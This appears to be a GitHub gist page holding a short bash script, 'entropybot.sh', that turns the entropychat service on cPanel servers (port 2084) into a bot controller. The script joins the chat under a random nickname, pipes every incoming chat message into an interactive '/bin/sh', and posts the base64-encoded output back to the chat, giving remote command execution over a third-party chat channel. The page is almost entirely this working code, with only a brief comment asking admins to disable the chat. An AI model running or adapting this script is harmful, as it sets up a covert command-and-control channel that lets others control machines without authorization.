Created
February 9, 2017 20:04
-
-
Save sudofox/7e968d643267e663ca16f5629e2ff859 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Turn entropychat, which used to be enabled by default on most cPanel servers, into a bot controller | |
| # (disable it please and thank you, it's a horribly crappy attempt at a chat page) | |
| # I wrote this ages ago so it's kinda crappy and filled with hacky things to prevent buffering | |
| # Usage: ./entropybot.sh hostname.example.com | |
| # by aburk | |
| HOST=$1 | |
| trap ctrl_c INT | |
| function ctrl_c() { | |
| curl "$HOST:2084/talk?$TOKEN&talk=%2Fquit&action=Say" -s > /dev/null # graceful chat quit | |
| trap 'jobs -p | xargs kill' EXIT # kill the backgrounded curl | |
| rm -f $PIPE | |
| exit | |
| } | |
| post_multiline() { | |
| base64 --decode |xargs -L1 -I{} curl -s -G --data-urlencode "talk=### {}" "$HOST:2084/talk?$TOKEN&action=Say" > /dev/null | |
| } | |
| TOKEN=$(curl -s $HOST:2084|grep -m1 -Po "sessionid=.*"|awk -F\" '{print $1}') | |
| USERNAME=$(cut -c1-30 /dev/urandom|head -n1 |md5sum |cut -c1-15) | |
| echo Connecting to "$HOST:2084" | |
| PIPE=$RANDOM ; rm -f $PIPE; mkfifo $PIPE ; | |
| curl -N -s "$HOST:2084/chat?$TOKEN" |egrep -v "($USERNAME|###)" --line-buffered|grep -e '\[\(.*\)\]' --line-buffered| sed -u -e 's/\[\(.*\)\]\(.*\)<br>/\2/' > $PIPE & | |
| curl -s "$HOST:2084/talk?$TOKEN&talk=%2Fnick+$USERNAME&action=Say" > /dev/null | |
| while true | |
| do | |
| if read line; then | |
| echo $line | /bin/sh -i 2>&1 | base64 | post_multiline | |
| fi | |
| done <"$PIPE" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment